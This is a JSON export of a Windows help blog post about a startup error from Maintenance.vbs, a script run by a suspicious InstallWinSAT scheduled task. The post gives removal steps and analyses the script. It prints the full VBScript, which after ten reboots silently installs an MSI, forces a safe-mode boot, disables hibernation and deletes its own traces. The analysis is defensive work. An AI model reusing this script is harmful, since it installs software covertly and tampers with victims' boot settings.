{"id":18205,"date":"2020-08-31T11:56:18","date_gmt":"2020-08-31T06:26:18","guid":{"rendered":"http:\/\/198.58.113.91\/blog\/?p=18205"},"modified":"2023-08-02T20:39:12","modified_gmt":"2023-08-02T15:09:12","slug":"script-error-maintenance-vbs-at-startup","status":"publish","type":"post","link":"https:\/\/www.winhelponline.com\/blog\/script-error-maintenance-vbs-at-startup\/","title":{"rendered":"[Fix] Script Error C:\\Windows\\system32 Maintenance.vbs at Startup"},"content":{"rendered":"<p>Whenever you start your computer, the following error may popup:<\/p>\n<div class=\"err\">Windows Script Host<br \/>\nScript: C:\\WINDOWS\\system32\\Maintenance.vbs<br \/>\nLine: 10<br \/>\nChar: 2<br \/>\nError: Type mismatch &#8216;CInt&#8217;<br \/>\nCode: 800A000D<br \/>\nSource: Microsoft VBScript runtime error<\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-18208\" src=\"https:\/\/www.winhelponline.com\/blog\/wp-content\/uploads\/2020\/08\/installwinsat-maintenance-error-0.png\" alt=\"installwinsat maintenance.vbs error\" width=\"351\" height=\"197\" \/><\/p>\n<p>However, you may find no reference to this file in <a href=\"https:\/\/www.winhelponline.com\/blog\/task-manager-startup-tab-entries-remove-invalid\/\">MSConfig<\/a> or the <a href=\"https:\/\/www.winhelponline.com\/blog\/task-manager-unknown-program-startup-entry-fix\/\">Task Manager Startup tab<\/a>. You may be wondering how to prevent this error message dialog from appearing at startup.<!--more--><\/p>\n<h2>[Fix] Script Error Maintenance.vbs at Startup<\/h2>\n<p>The <code>maintenance.vbs<\/code> script might be launched by an unknown scheduled task namely <code>InstallWinSAT<\/code> located under the <code>Microsoft\\Windows\\Maintenance<\/code> branch in Task Scheduler. There is no clue whether the task and the corresponding VBScript file <code>maintenance.vbs<\/code> are added by Windows, or if they&#8217;re dropped by some malware.<\/p>\n<p>However, you can stop this error by disabling the suspicious <code>InstallWinSAT<\/code> scheduled task using Task Scheduler.<\/p>\n<ol>\n<li>Open Task Scheduler (<code>taskschd.msc<\/code>) via the Start menu.<\/li>\n<li>Expand Task Scheduler Library &rarr; Microsoft &rarr; Windows &rarr; Maintenance<\/li>\n<li>Right-click <code>InstallWinSAT<\/code> task, and choose Disable<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-18206\" src=\"https:\/\/www.winhelponline.com\/blog\/wp-content\/uploads\/2020\/08\/installwinsat-maintenance-error-1.png\" alt=\"installwinsat maintenance.vbs error\" width=\"701\" height=\"270\" \/><br \/>\n<em>(Don&#8217;t disable the <code>WinSAT<\/code> task, as it&#8217;s a factory-default task added by Windows 10.)<\/em><\/li>\n<li>Open the <code>C:\\Windows\\System32<\/code> folder and delete <code>Maintenance.vbs<\/code><\/li>\n<li>Run a full system scan using your anti-virus software.<\/li>\n<li><strong>Additionally<\/strong>, download <a href=\"https:\/\/www.winhelponline.com\/blog\/whats-new-malwarebytes-3-3\/\">Malwarebytes anti-malware<\/a> and run a thorough scan. This is <strong>important!<\/strong><\/li>\n<\/ol>\n<p><em><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-9189\" src=\"https:\/\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/08\/information-icon.png\" alt=\"\" width=\"64\" height=\"64\" \/>Note that the <strong>InstallWinSAT<\/strong> task is not seen in a clean Windows 10 setup. Also, the ServiceInstaller.msi and the maintenance.vbs files are not part of the <a title=\"How to Extract Files from Windows 10 ISO or DVD (Install.wim)\" href=\"https:\/\/www.winhelponline.com\/blog\/extract-files-windows-10-iso-dvd-install-wim\/\">Windows 10 ISO<\/a> or DVD. It&#8217;s highly likely that the task and the related VBScript file were added by an undesirable program. If I find any further information about this task, I shall update this article.<\/em><\/p>\n<div class=\"rp\"><strong>RELATED:<\/strong> <a href=\"https:\/\/www.winhelponline.com\/blog\/cannot-find-script-run-vbs-logon\/\">Fix &#8220;Can not find script file C:\\WINDOWS\\run.vbs&#8221; at Logon<\/a><\/div>\n<h2>More info on &#8220;InstallWinSAT&#8221; and &#8220;Maintenance.vbs&#8221;<\/h2>\n<p>The InstallWinSAT Scheduled Task details are below:<\/p>\n<pre>Task: {8E61C681-5B56-4566-BEFF-436ABCBE3FBD}\r\nSystem32\\Tasks\\Microsoft\\Windows\\Maintenance\\InstallWinSAT\r\nC:\\Windows\\system32\\Maintenance.vbs<\/pre>\n<p>Here are the contents of the script file <code>Maintenance.vbs<\/code><\/p>\n<pre>Set oShell = CreateObject (\"Wscript.Shell\")\r\nDim ccdat\r\nccdat = \"updatesettings.dbf\"\r\nDim fso, setting, cc, strArgs\r\nstrArgs = \"%comspec% \/C %SystemRoot%\\System32\\msiexec.exe \/i %SystemRoot%\\System32\\ServiceInstaller.msi \/qn &amp; del %SystemRoot%\\System32\\ServiceInstaller.msi &amp; %SystemRoot%\\System32\\bcdedit.exe \/set {current} safeboot minimal &amp; %SystemRoot%\\System32\\powercfg.exe \/hibernate off &amp; schtasks \/Delete \/TN \"\"Microsoft\\Windows\\Maintenance\\InstallWinSAT\"\" \/F\"\r\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\r\n\r\nIf (fso.FileExists(ccdat)) Then\r\n    Set setting = fso.OpenTextFile(ccdat, 1, 0)\r\n    cc = CInt(setting.ReadLine)\r\n    setting.Close\r\n\r\n    If(cc &gt; 9) Then\r\n        oShell.Run strArgs, 0, false\r\n        Set objFSO = CreateObject(\"Scripting.FileSystemObject\")\r\n        strScript = Wscript.ScriptFullName\r\n        objFSO.DeleteFile(ccdat)\r\n        objFSO.DeleteFile(strScript)\r\n        WScript.Quit()\r\n    End If\r\n\r\n    Set setting = fso.CreateTextFile(ccdat, True, False)\r\n    cc = cc+1\r\n    setting.Write(cc)\r\n    setting.Close\r\n    WScript.Quit()\r\nElse\r\n\r\nSet setting = fso.CreateTextFile(ccdat, True, False)\r\n    setting.Write(\"0\")\r\n    setting.Close\r\n    WScript.Quit()\r\nEnd If\r\n<\/pre>\n<p>The above script basically does this:<\/p>\n<ol>\n<li>Reads a file named <code>updatesettings.dbf<\/code> in the Windows\\System32 directory.<\/li>\n<li>Converts the text\/number stored in <code>updatesettings.dbf<\/code> to an integer.<\/li>\n<li>If the integer value is greater than <code>9<\/code>, then the script does the following actions:\n<ul>\n<li>Installs a program by running its installer file <code>ServiceInstaller.msi<\/code> in silent mode, then deletes the installer automatically.<\/li>\n<li>Configures Safe mode boot as the default using the BCDEDIT command-line.<\/li>\n<li>Deletes <code>updatesettings.dbf<\/code>.<\/li>\n<li>Deletes <code>Maintenance.vbs<\/code>.<\/li>\n<li>Then, it deletes the InstallWinSAT task.<\/li>\n<\/ul>\n<\/li>\n<li>If the integer value is less than <code>9<\/code>, then the script increments the number inside <code>updatesettings.dbf<\/code> by 1, and saves the file.<\/li>\n<\/ol>\n<p>So, it sounds as if the script runs for 9 Windows sessions (reboots), and during the 10th restart, the cleanup actions are taking place, although in a stealth manner.<\/p>\n<p>It&#8217;s probably due to a wrong data type in <code>updatesettings.dbf<\/code>, the script encountered the error <code>800A000D<\/code> (&#8220;Type mismatch&#8221;) and stalled.<\/p>\n<p>The above task and the script are highly suspicious as there are no references to the file <code>ServiceInstaller.msi<\/code> on the internet. It&#8217;s advisable to disable the scheduled task immediately, as advised earlier.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Whenever you start your computer, the following error may popup: Windows Script Host Script: C:\\WINDOWS\\system32\\Maintenance.vbs Line: 10 Char: 2 Error: Type mismatch &#8216;CInt&#8217; Code: 800A000D Source: Microsoft VBScript runtime error However, you may find no reference to this file in MSConfig or the Task Manager Startup tab. You may be wondering how to prevent this &#8230; <a title=\"[Fix] Script Error C:\\Windows\\system32 Maintenance.vbs at Startup\" class=\"read-more\" href=\"https:\/\/www.winhelponline.com\/blog\/script-error-maintenance-vbs-at-startup\/\" aria-label=\"Read more about [Fix] Script Error C:\\Windows\\system32 Maintenance.vbs at Startup\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[7],"tags":[191,581],"class_list":["post-18205","post","type-post","status-publish","format-standard","hentry","category-windows","tag-error-messages","tag-task-scheduler"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":25816,"url":"https:\/\/www.winhelponline.com\/blog\/startupchecklibrary-winscomrssrv-dll-missing-error-startup\/","url_meta":{"origin":18205,"position":0},"title":"[Fix] StartupCheckLibrary.dll and Winscomrssrv.dll Error at Startup","author":"Ramesh","date":"January 20, 2022","format":false,"excerpt":"When you log in to your Windows computer, the following error message windows may pop up: RunDLL There was a problem starting StartupCheckLibrary.dll The specified module could not be found. RunDLL There was a problem starting winscomrssrv.dll The specified module could not be found. Additionally, you may see the following\u2026","rel":"","context":"In &quot;Utilities&quot;","block_context":{"text":"Utilities","link":"https:\/\/www.winhelponline.com\/blog\/category\/utilities\/"},"img":{"alt_text":"startupchecklibrary.dll malware startup error","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/01\/malwarebytes-history.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/01\/malwarebytes-history.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/01\/malwarebytes-history.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/01\/malwarebytes-history.png?resize=700%2C400&ssl=1 2x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/01\/malwarebytes-history.png?resize=1050%2C600&ssl=1 3x"},"classes":[]},{"id":3465,"url":"https:\/\/www.winhelponline.com\/blog\/error-cannot-find-script-file-programdata-folder\/","url_meta":{"origin":18205,"position":1},"title":"[Fix] Error &#8220;Cannot find Script file&#8221; in C:\\ProgramData Folder","author":"Ramesh","date":"July 10, 2016","format":false,"excerpt":"When you log in to your computer, the following error or a similar one may appear every time. Can not find script file C:\\ProgramData\\{793391F4-29B5-4072-9833-30F048B1E37E}\\1.9.3.1\\rolo.txt This entry was added by malware, where the {GUID} string and the script file names are random and vary for each system. In the aftermath of\u2026","rel":"","context":"In &quot;Utilities&quot;","block_context":{"text":"Utilities","link":"https:\/\/www.winhelponline.com\/blog\/category\/utilities\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":3152,"url":"https:\/\/www.winhelponline.com\/blog\/windows-script-host-disabled-machine-contact-administator\/","url_meta":{"origin":18205,"position":2},"title":"[Fix] Windows Script Host Access is Disabled on this Machine","author":"Ramesh","date":"May 24, 2016","format":false,"excerpt":"When you run a Windows script using wscript.exe or cscript.exe, error Windows Script Host access is disabled on this machine may pop-up. However, in systems affected by malware, the error appears at regular intervals, without any script invocation by the user. So the key questions are: Which script is being\u2026","rel":"","context":"In &quot;Windows&quot;","block_context":{"text":"Windows","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/"},"img":{"alt_text":"regedit icon","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2018\/07\/regedit-icon-small.png?resize=350%2C200&ssl=1","width":350,"height":200},"classes":[]},{"id":1593,"url":"https:\/\/www.winhelponline.com\/blog\/disk-defrag-error-storage-optimization-cannot-start\/","url_meta":{"origin":18205,"position":3},"title":"Fix Disk Defragmenter Error &#8220;Storage optimization cannot start&#8221;","author":"Ramesh","date":"February 7, 2016","format":false,"excerpt":"When you start the Disk Defragmenter utility in Windows 8 or 10, the following error occurs and the Disk Defragmenter window doesn't open. Storage optimization cannot start because the task scheduler service is not running. Start the task scheduler service and try again. Just as the error message instructs, starting\u2026","rel":"","context":"In &quot;Windows 10&quot;","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/w10\/w10-dfrg-err-storage-1.png?resize=350%2C200&ssl=1","width":350,"height":200},"classes":[]},{"id":24234,"url":"https:\/\/www.winhelponline.com\/blog\/taskmgr-startup-tab-empty-no-items\/","url_meta":{"origin":18205,"position":4},"title":"Task Manager Startup tab Empty &#8211; No startup items to display","author":"Ramesh","date":"June 19, 2021","format":false,"excerpt":"When you open Task Manager and click on the Startup tab, it may show up empty. You may see a message that reads \"There are no startup items to display\". This issue may happen even though you have many startup entries in the Run registry keys. RELATED: What is \u201cProgram\u201d\u2026","rel":"","context":"In &quot;Windows&quot;","block_context":{"text":"Windows","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/"},"img":{"alt_text":"task manager startup tab empty - no startup items","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2021\/06\/taskmgr-startup-no-items.png?resize=350%2C200&ssl=1","width":350,"height":200},"classes":[]},{"id":10136,"url":"https:\/\/www.winhelponline.com\/blog\/fix-logilda-dll-error-at-startup-in-windows-10\/","url_meta":{"origin":18205,"position":5},"title":"Fix: LogiLDA.dll Error at Startup","author":"Ramesh","date":"July 3, 2019","format":false,"excerpt":"After upgrading to Windows 10, you may see one of the following errors when logging in to your user account: There was a problem starting C:\\Windows\\System32\\LogiLDA.dll The specified module could not be found Error in C:\\WINDOWS\\SYSTEM32\\LOGILDA.DLL - Missing entry: LOGIFETCH There was a problem starting C:\\Windows\\System32\\LogiLDA.dll. C:\\Windows\\System32\\LogiLDA.dll is not a\u2026","rel":"","context":"In &quot;Windows&quot;","block_context":{"text":"Windows","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/"},"img":{"alt_text":"logitech download assistant LogiLDA.dll error at startup - autoruns","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/07\/logitech-download-assistant-autoruns.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/07\/logitech-download-assistant-autoruns.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/07\/logitech-download-assistant-autoruns.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/07\/logitech-download-assistant-autoruns.png?resize=700%2C400&ssl=1 2x"},"classes":[]}],"_links":{"self":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts\/18205","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/comments?post=18205"}],"version-history":[{"count":0,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts\/18205\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/media?parent=18205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/categories?post=18205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/tags?post=18205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}